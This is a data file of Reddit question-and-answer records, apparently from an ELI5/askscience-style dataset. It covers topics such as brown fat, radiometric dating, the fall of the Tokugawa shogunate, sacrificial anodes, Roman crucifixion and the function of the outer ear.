{"q_id": "9vgo31", "title": "what is brown fat and how does it keep me warm vs regular fat", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vgo31/eli5_what_is_brown_fat_and_how_does_it_keep_me/", "answers": {"a_id": ["eefdozl", "e9c5etv"], "score": [2, 2], "text": ["There are still more questions than answers about this one in scientific circles.\n\nBrown fat cells are iron rich and have more blood vessels than white fat, accounting for the brownish color.\n\nThree things ARE known that are relevant to your question, Amanda.\n\n1. Brown  fat is more active than white fat, and tends to be warmer (think ideal  insulation). Not surprisingly, then, it is found more in babies than  adults, and more in lean people living in cold climates.\n2. The  average adult has very little brown fat. A lean, healthy 150 pound  person carrying 20 pounds of body fat might have two or three ounces of  brown fat- not much by any standard.\n3. Although some scientists  are trying to find ways to convert white fat cells into brown fat cells,  or to simply stimulate the growth of more brown fat cells, there is  currently no way to affect growth of one type of fat over another.", "Brown fat is a tissue that just burns calories to generate heat to maintain body temperature.  It was thought to be only active in infants (who cannot shiver to maintain body temperature - that response comes later). It was recently discovered that it could be activated in mature mammals, but for the most part adult humans maintain body temperature by shivering unless chronically exposed to cold temperatures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "kgslh", "title": "Why am I so much weaker when I exercise if it's hot?", "selftext": "At the gym on a hot day, I lift about 80% of the weight at about half the number of reps I normally do before I collapse.\n\nWhen I run on a hot day, I get tired within the first 100m (I've run 16km without getting tired on a winter day before).\n\nI know I'm not the only one who experiences this because in some military entrance requirements I've seen, they list their \"optimal\" level of physical fitness as being able to do exercises at a higher temperature (ie. wearing long pants) vs. their \"minimum\" level of fitness.\n\nAskscience, why does this happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kgslh/why_am_i_so_much_weaker_when_i_exercise_if_its_hot/", "answers": {"a_id": ["c2k64ge", "c2k64ge"], "score": [6, 6], "text": ["You're dehydrated. \n\nYour blood volume is decreased, leading to a lower end diastolic volume (amount of blood in your ventricles before your heart contracts and sends blood to the rest of your body). Since you now have less blood to pump out, your cardiac output is also lowered. The rest of your body is getting less than optimal oxygen delivery as a result, making you tire out quicker. ", "You're dehydrated. \n\nYour blood volume is decreased, leading to a lower end diastolic volume (amount of blood in your ventricles before your heart contracts and sends blood to the rest of your body). Since you now have less blood to pump out, your cardiac output is also lowered. The rest of your body is getting less than optimal oxygen delivery as a result, making you tire out quicker. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rfd9c", "title": "Question about dating techniques", "selftext": "I saw the topic that they found stone-tipped spears predating human existence.\n\nHow can they even say that?  If they did some kind of dating on the stone how could they assume that the rock was created at the same time something picked it up and started using it in their spear design?  \n\nFor all they know that rock was sitting there for 500,000 years before someone picked it up, shaped it and attached it to a stick.  When it comes to radio active decay, does it magically start over when you shape the object?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rfd9c/question_about_dating_techniques/", "answers": {"a_id": ["cdmt83q", "cdmtews"], "score": [3, 4], "text": ["For radiometric dating in general, the clock starts once the object stops exchanging atoms with its surroundings.  For rocks, this means when the minerals of interest crystallized; for organic remains, it means when the creature died and stopped taking in air.  So, what they probably mean here is that the spear handle is made of wood that died 500000 years ago.  You are correct that dating the stone spear head would not be useful.\n\nAn interesting consequence of this is that you have to be very clear about what you've dated.  If you date pages of a book to be 2500 years old, it means the paper is that old, not the writing on it.  If you date a sedimentary rock to be 200 million years old using U-Pb dating with zircons, it means that the zircons were eroded out of 200 Ma old crystalline rock, but the timing of their erosion and deposition (i.e., the age of the sedimentary rock) could be any time between 200 Ma and yesterday.", "For the sake of reference [here's](_URL_1_) the original article about these stone-tipped spears that you're asking about.  To clarify, they're not talking about aliens using spears, they're talking about different species of *Homo* (e.g., we're *Homo sapiens*, they could be talking about *Homo erectus*).  These spear tips were dated from the substrate in which they were found, they weren't dating the specific material of the spear (which could be much older). \n\nThere's lots of ways to date different materials and the choice depends on what you're trying to test.  Carbon-14 is used predominately for organic materials, the article in question used [argon-argon](_URL_0_) dating that is good for dating metamorphic and igneous minerals.   \n\n > When it comes to radio active decay, does it magically start over when you shape the object?\n\nNot when it comes to minerals.  Radioisotope dating methods for minerals can only give you an idea of how long its been since the last time they cooled below their closure temperature (the temperature at which its assumed that isotopes aren't flowing in and out).  They tested the age of the substrate where the spear points were found because they wanted to know how long it had been since the points came to rest in that spot (and presumably when they were last used by their owner), not the age of the stones that were used to create the spear points."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/40Ar/39Ar", "http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0078092"]]}
{"q_id": "39zcgf", "title": "Why are flannel shirts associated with lumberjacks? Wouldn't that be hot?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39zcgf/why_are_flannel_shirts_associated_with/", "answers": {"a_id": ["cs83wt0"], "score": [11], "text": ["The stories about Paul Bunyan (the tall tale lumberjack) say he worked in northern Minnesota.  \n\nLooking at average temperatures in one northern Minnesota town show you that it isn't actually that hot.  The average high for July (the hottest month) is 77.8F, while the average low for that month is 52.6F.  The record low for that month is 32F.  While International Falls is not the norm for northern MN, even a milder northern MN city like Brainerd has an average July temperature of 69F.  \n\n_URL_0_\n_URL_1_\n\nSo, would flannel be too hot for the lumberjacks?  For the ones in northern Minnesota, it wouldn't be.\n\nAnecdotally, I've gotten medically diagnosed hypothermia in the rain during the summer in northern MN."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/International_Falls,_Minnesota", "https://en.wikipedia.org/wiki/Climate_of_Minnesota"]]}
{"q_id": "qjfsf", "title": "How many different cows contribute milk to create one normal gallon that you buy at the store?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qjfsf/how_many_different_cows_contribute_milk_to_create/", "answers": {"a_id": ["c3y32oa", "c3y5e41"], "score": [26, 3], "text": ["In the US, a dairy cow will produce on average about 26kg of milk per day: _URL_0_ \n\nA gallon of milk weighs roughly 4 kg. So a single cow can easily produce the quantity of milk in your gallon. However, the milk isn't collected straight from the cow into the container. It is collected in large tubs before being bottled. So each gallon of milk will have milk from several cows mixed together.", "My grandfather ran a dairy (not a farm) for twenty years and I've worked part-time on a few dairy farms. I do not know how many cows a large factory farm has but the smaller family farms can have anywhere from 20-500 head. Milk is typically pumped into either small thousand gallon holding tanks adjacent to the milking parlor or directly into dropped tankers (for the large farms). To answer your question, anywhere from two hundred to thousands of cows have contributed a bit to that delicious, creamy teet nectar!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Dairy_cattle#Milk_production_levels"], []]}
{"q_id": "1dvlco", "title": "Question about the demise of the Tokugawa Shogunate", "selftext": "Hello, I hope this question hasn't been asked before but I looked for a while and didn't see it so I'm just gonna get to it. I have been researching feudal Japan recently and it has not been since High School that I even really considered the subject (almost 8 years). I realize that the final shogunate of the Tokugawa ended sometime the 1850's. Yet I am having trouble understanding exactly what caused the seemingly over night collapse of authority of the shogun. I know that Perry's flotilla arrived near Yokohoma in '53, but I don't understand how that correlates to the collapse, unless there is some battle I am unaware of. \n\nBottom Line: Did Commodore Perry use force to intimidate the Tokugawa Shogunate out of power?\nFollow Up: Did this bowing down by the Tokugawa result in their erosion of power?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dvlco/question_about_the_demise_of_the_tokugawa/", "answers": {"a_id": ["c9ukcrn"], "score": [2], "text": ["Commodore Perry came to Japan in 1853, the Shogunate fell in 1867. This is a span of 14 years, hardly overnight. What happens in those 14 years (known as the Bakumatsu years)was a complicated and convoluted affair involving revolutions, reforms, rebellions, foreign relations, and age-old grievances. The whole summary can be gleamed from the very long [Wikipedia article on the Bakumatsu](_URL_0_).\n\nIn short, to answer your questions generally, Commodore Perry did use force to coerce the Shogunate, but it was not to force them out of power. The Western world wanted to trade with Japan, but the Shogunate kept them out due to their policy of isolation. When Perry came, he threatened the Japanese government with gunboats, and the Tokugawa knowing full well that they could not go against American firepower, capitulated to his demands to open up for trade.\n\nThe concessions given to the Americans, and later the rest of the Western power, dismayed the samurai greatly. A group of reform-minded samurai, called the isshin isshi, reasoned that the weakness of the shogunate allowed the foreigners to have free reign over Japan, thus the shogunate must be abolished and replaced with a modern government with the Emperor restored to power. At the other end of the ideological spectrum was the traditionalist shogunate supporters, who preferred the current system and believed that Japan's weakness was only temporary. The issue was settled with the Boshin War of 1868, which saw all of Japan subsumed in war from Kyoto up to Hokkaido, and resulted in the collapse of the Shogunate.\n\nSo, it was civil war that brought down the shogunate directly, but it was Commodore Perry that got the ball rolling in the beginning."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Bakumatsu"]]}
{"q_id": "6guisl", "title": "why is it that for many people their behavior completely changes when they are in a car or on the internet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6guisl/eli5_why_is_it_that_for_many_people_their/", "answers": {"a_id": ["dit68vb", "dit6i60", "dit6qih", "ditcnve", "ditgt64"], "score": [8, 4, 4, 3, 48], "text": ["When you're talking to someone face-to-face, you can get a better sense of what people intended to say based on their tone of voice and also their reaction from their facial expressions. For example, it's easier to hear sarcasm than it is to read it. Likewise, people can silently express their apology through their face if they accidentally bump into you.\n\nWhen you're behind the wheel or online, you get neither of these feedback mechanisms. Some people just tend to assume the worst if they have been snubbed in the past. As more people on the road/internet have the same attitude, it just turns off any remaining people who have give the benefit of the doubt, continuing the cycle.", "I can't say for everyone with the car. But for me it's about responsibillity. When I'm driving, I'm the one that's\u200bheld responsible for accidents against the 'softer' people in traffic, meaning pedestrians or people on a bicycle. Sometimes they can act completely idiotic and irrational giving very little regard to their surroundings even though they will get hurt the most. I act out with getting angry because if I hit them, I not only will get the legal backlash, unless it can be absolutely proven that it was their fault, I know myself well enough that it would most likely scar me emotionally. So my fears of getting these backlashes without it being my fault, and the fear of hurting someone is converted into anger as a coping mechanism.\nOn the internet it has to do with anonymity. Sometimes the personality people have online is more true to their inner self, or maybe just a more uncensored version of their feelings in the moment. In the normal world you have to uphold a certain standard to be accepted by your equals, however you are for the most part anonymous online, so there is hardly any of that in your consideration. On a bad day I can lash out on the internet that I in the normal world would have to think about a second time before reacting to it. The fact that you are talking to a emotionless machine doesn't help either, cause you never get no visual feedback of a face getting sad because of your action, so you have never gotten a negative sensation from insulting someone on the internet as you have in real life\n\nEdit: TL;DR: In traffic I think it's the responsibillity and fears of potentielly hurting someone.\nOnline the anonymity makes you vicious", "What comes out of you when you think you are safe from consequences is what is really inside of you. I don't think their behavior \"changes\" as much as it is unfiltered. If you are an angry driver but calm in normal life(like myself) then you probably have a lot of anger inside.\n\nIf you squeeze an orange you will get orange juice because that's what it is made out of. What comes out of you when you are squeezed is what you are made out of.", "It's the Gyges Ring principle. _URL_0_\n\n\" considers whether an intelligent person would be moral if he did not have to fear being caught and punished for doing injustices.\"\n\nSo when you're in the car/internet your subconscious knows that people can't \"see\" you or truly define who you are, therefore giving you a false confidence that you can behave a certain way without consequence. ", "It's about anonymity and vulnerability.\n\nOn the internet, you're anonymous and well outside the reach of the person you're talking to, so when people disagree, they tend to be a lot more confrontational and aggressive... because it's easy to be aggressive and confrontational when there's no chance of being punched in the face. \n\nIn the real world if you're 5\" tall and weigh 90lbs soaking wet, you're probably not going to tell a 6\"5 250lb guy that he's full of shit, even if that's what you think. Online, who cares? What's he going to do?\n\nThe flip side is it's also much easier to be abusive or aggressive (or honest) when the person you're communicating with is just words on a screen. The internet dehumanizes the person you're speaking to\n\nBasically,It's really easy to watch a bad youtube video and tell xXUsernameXx that they're a talentless piece of shit. It's a different thing to watch that same video and then walk up to Jenny, the 14 year old girl who makes Minecraft videos to take her mind off her parent's divorce...and look her in the eye and say \"You're a talentless piece of shit.\"\n\nAs for cars? Well, the same applies. You're in a big, locked metal box that's basically half suit of armor, half escape pod. Lean on your horn, give the middle finger, because you're at your turning and will never see whoever's driving that car again.. and fuck that fucking stupid fucking Ford that cut you off in traffic, because it's a stupid fucking Ford...not Jenny's Mom who's had a really bad day and distracted because she doesn't know how she's going to make rent that week.\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Ring_of_Gyges"], []]}
{"q_id": "yzl4e", "title": "how does a sacrificial metal work?", "selftext": "I heard that Zinc(?) is used on ships to prevent rusting, I dont understand how it would rust first", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yzl4e/how_does_a_sacrificial_metal_work/", "answers": {"a_id": ["c606xyq", "c6070ja", "c608wbz"], "score": [5, 5, 3], "text": ["Rusting, or more accurately oxidization, is the process of metal atoms bonding with oxygen atoms. Zinc bonds better with oxygen than iron does. The scientific reason is that it is more electropositive. That means it has extra electrons to give up to a partner atom. Zinc has more extra electrons than iron and so will bond more quickly with oxygen which wants those extra electrons.", "Corrosion is an electrochemical reaction.  When two metals are in contact with eachother and with water, electricity will start flowing.  The amount of current depends on the characteristics of the two metals.  In any case, while this current flows, water molecules get separated into hydroxides.  These hydroxides attack the metals, forming such things as rust.\n\nIf you choose a metal of the right type, you can find one that will draw the current (and the corrosion) itself, saving the metal that you want to keep intact.", "Oxygen likes zinc more than most other metals (electric effect), so the metal on the ships won't oxidize/rust as fast if there's zinc attached."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3zbzft", "title": "How does a tracker work?", "selftext": "I am a complete beginner in how electronics work, and I was wondering if anyone can explain how a tracker works. Like those trackers that you attach to your phone and it notifies you where your phone is when you lose it.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3zbzft/how_does_a_tracker_work/", "answers": {"a_id": ["cyl29k8", "cyl3i56"], "score": [2, 4], "text": ["The majority work by sending basic GPS data to a set IP, or in a certain frequency of, for instance, microwaves. This GPS data is then processed and displayed.\n\nIn phones, this is typically done internally, which is why it's a feature on almost every phone.", "It depends on the tracker. There are currently several major types of tracking available, and they can loosely be divided into GPS-based tracking, WiFi-based tracking, and Bluetooth-based tracking. \n\nIf you have a tracker that can tell you where you phone is anywhere in the world, that's a GPS based tracker, and it is precise down to a few meters, which is to say that it's not very useful if you lose the phone inside your home \u2014 it will tell you the phone is inside the home, and that's about it \u2014 but it's great if you leave it on the bus.\n\nIf you have a tracker that only works when you are near WiFi, then it's probably a WiFi-based tracker, and has similar limited accuracy as a GPS-based tracker.\n\nIf you have a tracker that only works when it's near your phone (which is useless for a phone tracker, but you see this a lot for small object trackers \u2014 like a keychain dongle that lets you find your keys using your phone), then it's probably a Bluetooth-based tracker, and has very limited range, but better accuracy than GPS or WiFi.\n\nYes, there are other technologies, and yes there are trackers that combine multiple modalities, but that's the basic overview."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "46yx2o", "title": "this whole ke$ha ordeal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46yx2o/eli5_this_whole_keha_ordeal/", "answers": {"a_id": ["d08vifr", "d08vmmu", "d08yxvo", "d0910q5"], "score": [9, 2, 5, 2], "text": ["because she'd either get sued or something similar. Contracts can be very binding, and people wont work with her knowing the legal trouble that would absolutely follow. Shes a pretty gigantic name, its not like she could start producing with someone else under the radar. ", "Any money made after breaking the contract could be vulnerable to lawsuit so few would work with her if there is a chance they could lose some/all the money they would make.", "Contracts aren't my forte but I'll give it a shot. I haven't read the decision (it's late and there were microbrews tonight), but I've read a few news sources on it. Also, disclaimer, I like her music and I hope things go her way. But I'm going to try to be neutral. \n\nShe can. They'll get sued to oblivion. What she needs is a judgment saying she was coerced into the contract or that her allegations that Dr. Luke (her producer) has sexually and emotionally abused her, leading to bulimia, are legitimate to escape the contract.\n\nWhat she asked for is a preliminary injunction (temporary permission to record outside the contract) so she can work with another label, but Sony and Dr. Luke contested that, saying that she is fabricating claims to get out of the contact. The court has denied the injunction as Sony has argued that she *can* make the rest of her albums she owes (six more I think) with a different producer. But Kesha argues that it's an empty promise, since they probably won't support/promote her as she makes those albums. Judge sided with Sony but that doesn't mean they won outright. \n\nNow, while this case is ongoing, if she records she is contractually obligated to do so with Sony. Sony has said that she can record with other producers. If she decides to record and Sony forces her to work with her alleged abuser, Dr. Luke, then she can file another motion for injunction, showing Sony is lying. \n\nThe thing is, if she won the injunction, that's a pretty strong indication she won the whole case, because a court is allowing her to work outside her contract. It's tricky because if they allow that, and she loses, then Sony has technically lost revenue. Especially if she records a hit. So they'd sue to get that money. Additionally, that might set a precedent allowing for contractors to file injunctions to work for competitors during an ongoing case against an employer (not necessarily bad, but there's a potential for abuse, also there might be precedent there but I'm not sure). \n\nThe point is that an injunction would have been a huge win, but I doubt the court would have granted it, since that's allowing a breach of contract with massive financial implications (I mean Kesha is not insignificant moneywise). I'm betting the court denied the injunction because to grant it would mean that Kesha has a massive leg up on Sony, and they want to decide the case properly on the merits. Not to mention there is little indication Sony won't let her work with a different producer while this is being resolved so the work environment issue is being addressed (not saying I agree, but this is likely how the court views it). \n\nIn the US, you cannot be forced to perform on a contract (specific performance), except in certain circumstances, because that hits a little too close to serfdom/slavery (yes, wage slave arguments and whatnot, you know what I mean here). However, that doesn't mean there won't be a monetary penalty for the breach. Kesha can refuse to make six more albums but Sony can then sue her for the expected value (most likely projected based on her past sales). And if she makes her albums elsewhere, they'll just sue to get those profits. Therefore, she needs the court to allow her to break the contract for cause. At this stage, she hasn't proven to the court that there is enough harm to allow her to record elsewhere while the case is ongoing. That may change once the case gets going properly. \n\nEdit: [This](_URL_0_) is a pretty good overview of the case. ", "Because contracts are binding. If I sign a contract saying I'll build a house to completion for $x an hour then ending that contract would mean I lose money right? But what about the home owner? He/she doesn't have to pay me but they will have a half finished house that they now need to get finished by another builder, and I might be the only guy in town with free time. Its a massive inconvenience to them so in the contract they might add a line saying that any work I don't do I must organize for someone else to do instead. They don't get inconvenienced, I have a way out, it's perfect. \n\n\nNow the Ke$ha case is difficult because one of the ways out of her contract would be if the other side did something illegal.  If the producer acted inappropriately then she would have a way out. AFAIK We don't have conclusive proof that he did anything wrong, meaning if Ke$ha was to get out of her contract with this case then it would open the door for possibly thousands of other contracts to be dismissed bases on little or no evidence. Anyone could claim criminal action has taken place and get out of a contract unscathed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.washingtonpost.com/news/arts-and-entertainment/wp/2016/02/20/kesha/"], []]}
{"q_id": "1h9teb", "title": "Did Jesus die on an actual cross?", "selftext": "Looks like the word in the NT that is used is \"stauros\". Some argue that the cross is a later interpretation of this word, but could really mean some sort of stake.\n\nDid Romans use actual crosses during Jesus' time or some other shape or stake?\n\n*stake, not the tasty other kind of steak.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h9teb/did_jesus_die_on_an_actual_cross/", "answers": {"a_id": ["cas8p2s", "casa37v", "casdiiu"], "score": [5, 31, 6], "text": ["As much as I want to make a sirloin joke...\n\nIf I remember correctly, following the Third Servile War, the remnants of Spartacus' army were strung up upon stauros consisting of a single hewn piece of wood, with the hands being tied above their heads rather than nailed.\n\nNow, either nails or a single, small crossbeam may have been used as a crux around which the rope was tied, but rope may have been favored, as: A) a single stauros may have been intended for multiple uses, and the act of repeatedly removing and replacing nails would have degraded the wood; B) steel nails, while not rare or especially valuable at the time, may have been expensive enough to prevent their use in the simple execution of a person deemed unworthy of life, especially considering the type of nail necessary to both bear a person's weight without bending or simply pulling through a person's bodily tissues; and C) should a person's hands be tied above their head as on a simple stauros, then the use of nails would be impractical, as a single piece of rope could have secured a persons hands near yet opposite one another upon a vertical beam.\n\nSo thenight specific answer to your question is pretty much impossible to determine, save one possible clue: wood in the Levant was particularly prized, especially large pieces, as by the time of Christ the nearest forests (of cedar in Lebanon) had been remarkably diminished by deforestation in the preceding centuries. This may have rendered two large pieces of wood as impractical when a single piece would suffice.", "First off, I had a good laugh at this one. The word is \"stake,\" not steak. One is from the cow, one is excruciating to die on. The question can be easily misinterpreted otherwise :P Death by steak sounds delicious. \n\nANYWAYS. To the question. Yes, the Romans were very well known for their use of crucifixion (with crosses), one of the most famous incidents being the mass crucifixion of slaves along the Appian Way (the biggest Roman highway) in 71 BCE - about 100 years before Jesus was crucified (inb4 /r/atheism invades). Why was there a crucifixion of 6,000 slaves along this super busy road? Well. That's an interesting story, as it so happens ;) And it begins and ends with one man's ambition - a man who's name is **Marcus Crassus.** (Ctrl-F to get past this story and on to the last tidbits of your question.)\n\nNow, Crassus was known for one thing (besides being a good politicker) - and that was his INSANE wealth. He's known to have said that \"One cannot call themselves rich unless they can afford their own army.\" Which, it so happens, he was rich enough to afford. He could afford several armies, in fact. His wealth was estimated to be equal to or greater than the annual income of Rome - and that's not including his use of loans for \"favours.\" Anyways. So there's a slave revolt. That, to American ears, doesn't sound like a big deal - heck, the US had slave revolts too! ...To be fair, those slave revolts were TINY compared to the Roman revolts. This one, known as the \"Third Servile War,\" was led by a group of gladiators - the most prominent among them that we know of today is named **Spartacus.** \n\nWell, the Romans had a VERY political military around this time. As in...all of their generals were politicians, and all of their political leaders (Consuls) were expected to be generals if necessary. And the number one things that a general could get from a military campaign was (number one) glory and honour and prestige. They were NUTS for that kinda thing. Number two would be the crazy amount of money they could loot from whoever they were beating the crap out of (As Caesar did in Gaul and Spain and North Africa and stuff.) Well, since Rome was constantly at war, generals loved going to war with these rich nations that were relatively easy wins (Mithradates of Pontus comes to mind - he LOVED causing trouble, and his country was very wealthy.) Well, there was no honour in beating a SLAVE revolt of all things, and there was even less money. If you win, great, you beat some slaves. If you lose...you just lost to a SLAVE ARMY dude. You must REALLY suck as a general. \n\nWell, Crassus didn't need the money. He needed to get his name around (There was this other famous general who pissed him off FAMOUSLY for being a golden boy - and that guy's name was Pompey Magnus. Magnus means \"The Great\" in Latin - and here's a line from Plutarch on that one: \" Now it vexed him that Pompey was successful in his campaigns, and was called Magnus (that is, Great) by his fellow-citizens. And once when some one said: \"Pompeius Magnus is coming,\" Crassus fell to laughing and asked: \"How great is he?\" \"), so he bought himself an army (Classic Crassus), equipped it, and went out to fight Spartacus' army. And then this happened:\n\n >  Crassus himself, accordingly, took position on the borders of Picenum, expecting to receive the attack of Spartacus, who was hastening thither; and he sent Mummius, his legate, with two legions, by a circuitous route, with orders to follow the enemy, but not to join battle nor even to skirmish with them. Mummius, however, at the first promising opportunity, gave battle and was defeated; many of his men were slain, and many of them threw away their arms and fled for their lives. Crassus gave Mummius himself a rough reception, and when he armed his soldiers anew, made them give pledges that they would keep their arms. Five hundred of them, moreover, who had shown the greatest cowardice and been first to fly, he divided into fifty decades, and put to death one from each decade, on whom the lot fell, thus reviving, after the lapse of many years, an ancient mode of punishing the soldiers. For disgrace also attaches to this manner of death, and many horrible and repulsive features attend the punishment, which the whole army witnesses. \n\nYeah, Crassus was a bit of a dick. Anyways, to wrap things up, he was eventually able to pin Spartacus' army down and beat it - Plutarch describes the battle as almost a slaughter. A trained legion against a rabble of slaves...makes you want to wince a bit. \n\n >  Before this Crassus had written to the senate that they must summon Lucullus from Thrace and Pompey from Spain, but he was sorry now that he had done so, and was eager to bring the war to an end before those generals came. He knew that the success would be ascribed to the one who came up with assistance, and not to himself. Accordingly, in the first place, he determined to attack those of the enemy who had seceded from the rest and were campaigning on their own account (they were commanded by Caius Canicius and Castus), and with this in view, sent out six thousand men to preoccupy a certain eminence, bidding them keep their attempt a secret. And they did try to elude observation by covering up their helmets, but they were seen by two women who were sacrificing for the enemy, and would have been in peril of their lives had not Crassus quickly made his appearance and given battle, the most stubbornly contested of all; for although he slew twelve thousand three hundred men in it, he found only two who were wounded in the back. The rest all died standing in the ranks and fighting the Romans. \n\n\nSo Spartacus lost a HUGE number of men there. HUGE numbers. Especially considering his army probably wasn't more than 30,000 or so men (There were 100-120,000 escaped slaves, but not all of them were warriors). So Spartacus is pretty much broken. He's retreating and Crassus is chasing him...when all of a sudden, guess who comes to save the day! It's our golden boy, POMPEY MAGNUS! (All hail and blow trumpets here!) And Crassus was all -.- Because Pompey, after killing about 5,000 of the disorganized, fleeing army, declared that he ALONE had quelled this rebellion. Which didn't sit well with Crassus at all. And now...we get to the crux of the story. As it were. Pardon the pun. \n\nCrassus, indignant at his treatment at the hands of Pompey, crucified his prisoners. 6,000 escaped slaves, waiting to die alongside the greatest highway of Rome, the Appian Way. Yeah, that's probably the worst way to die ever. Or one of them, at least. But crucifixion in Rome was indeed the classic cross that we see today - though according to Josephus, the Roman soldiers would crucify people in different positions (referring to the mass crucifixions following the Jewish revolts) to amuse themselves. Also, a quick note, people were generally TIED to crosses instead of nailed to them - that note might have denoted another \"amusement\" by the Roman soldiers there. However, going back to your question. I'll make this the **TL;DR** to make it easy to ctrl-f to. \n\n---\n\nThe purpose of crucifixion, though, was to provide the most agonizing, torturous, extended death possible. The Romans sometimes substituted trees as crosses, however, Seneca the Younger (writing during the time of Jesus), asserts that criminals \"carried their crossbeams to the place of execution.\" Which means that the post assertion was incorrect - and the entire POINT of crucifixion was being outstretched - hanging on a post would produce an entirely different (and probably much faster) death. \n\nNow, whether or not there were massive posts in the ground where that criminals would carry their crossbeams to, to be used over and over? That, I'm not 100% sure about, so I'll leave it to someone else (Though it would make sense.) \n\nAlso, moo.", "Here\u2019s an article on crucifixion from the [Cambridge Book of Paleopatholgy] (_URL_1_) that explains some of the forms it could take.  There is evidence contemporary with Jesus of a man in his 20s crucified with nails.  His ankle bone survives [with a nail still embedded in it] (_URL_0_).  This was found in 1968 at Giv'at Hamivtar in northern Jerusalem.  Though sometimes the Romans used a simple stake for crucifixion (the *crux simplex*), it certainly was possible for Jesus to have been crucified on a cross with a crossbeam (the *crux commissa* or *immissa* depending on where the crossbeam was placed).  Our earliest surviving depiction of the crucifixion of Jesus is the [Alexamenos graffito] (_URL_2_), scratched on a wall in Rome and dated probably to the 3rd century.  Meant to mock Jesus, it shows a donkey-headed man hung on a \u201cT-cross,\u201d the *crux commissa*, with the caption \u201cAlexamenos worships his god.\u201d This in no way proves that Jesus was crucified this way, but  it does show that this method was in use around his time.  Incidentally, it was possible\u2014though obviously rare\u2014to survive a crucifixion.  The historian Josephus reports an acquaintance of his who was crucified and survived.  In fact Josephus is one of our prime literary witnesses of the forms of crucifixion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bible-archaeology.info/crucifixion.htm", "http://books.google.com/books?id=qubTdDk1H3IC&amp;pg=PA38&amp;lpg=PA38&amp;dq=crucifixion+nail+ankle&amp;source=bl&amp;ots=H6U8kcaYv3&amp;sig=N2sUdwIMfsd9n3bjwTMXeu9hk3s&amp;hl=en&amp;sa=X&amp;ei=xzHOUfXcLMX7ygHux4CoAQ&amp;ved=0CFEQ6AEwCA#v=onepage&amp;q=crucifixion%20nail%20ankle&amp;f=false", "http://en.wikipedia.org/wiki/Alexamenos_graffito"]]}
{"q_id": "811uy7", "title": "if the outer anatomy of your ear was removed leaving just a hole in the side of your head, how would your hearing be affected?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/811uy7/eli5_if_the_outer_anatomy_of_your_ear_was_removed/", "answers": {"a_id": ["duzv3vh", "duzxmlg"], "score": [4, 5], "text": ["You can actually squish or cover the various parts of the \"outer anatomy\" and listen to some music while you do so, to hear the effects yourself.\n\nThe point of the outer ear is to reflect sounds into the ear canal, amplifying sounds from the front, and sounds in the 3KHz frequency range (the range of human voices).  \n\nIf you deform  your ears you'll hear a slight difference in how the music sounds, with muted highs and/or slightly muted singer's voice.", "Your [pinna](_URL_1_) does a lot of things for your hearing. Perhaps most importantly, it subtle shapes the pressure waves that make up sound as they pass into your ear canal in different ways depending on the location of the sound. Determining left/right orientation of the source of a sound in complicated, but it involves timing and volume. It's something like stereoscopic vision, using your two ears to triangulate the location.\n\nUp/down orientation, as well as front/back is more difficult. To do that, your pinna shapes the sound coming into your ears, affecting the volume and the timbre. Timbre (pronounced \"TAM-bur\") is the \"quality\" of a sound not defined by the pitch or volume. Say, the difference between how a clarinet sounds and a trumpet sounds even when they're playing the same note. Over millions of years of evolution, our brains have learned to use that information to help locate the source of a sound. Over your lifetime, your own brain learns how to specifically use the modulation of sound from your unique pinnas. [Relevant Smarter Every Day](_URL_0_).\n\nAs a result, it would be much more difficult for you to locate the direction of the source of a sound. Other animals solve the problem with different ways. For instance, dogs will cock their head to the side, changing the angle that their ears make with the sound to get a better read on it. Owls' ears are offset - one is higher than the other - and they have radar-dish like structures to funnel the sound into their ears.\n\nYour pinna has another purpose, though. It resonates roughly at the same pitch as normal human speech. Likewise, your ear canal and the bones in your ear also resonate at roughly human speech frequencies. We're *really good* at listening to other humans talking (which should come at no surprise, given the amount of brain space we dedicate to understanding language). With just an ear hole you would expect to have a little more difficulty understanding other people talking, especially with a lot of other noise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=Oai7HUqncAA", "http://human-anatomy101.com/wp-content/uploads/2016/09/ear-anatomy-pinna-how-well-do-you-know-the-anatomy-of-the-pinna-the-visible-part-of.jpg"]]}
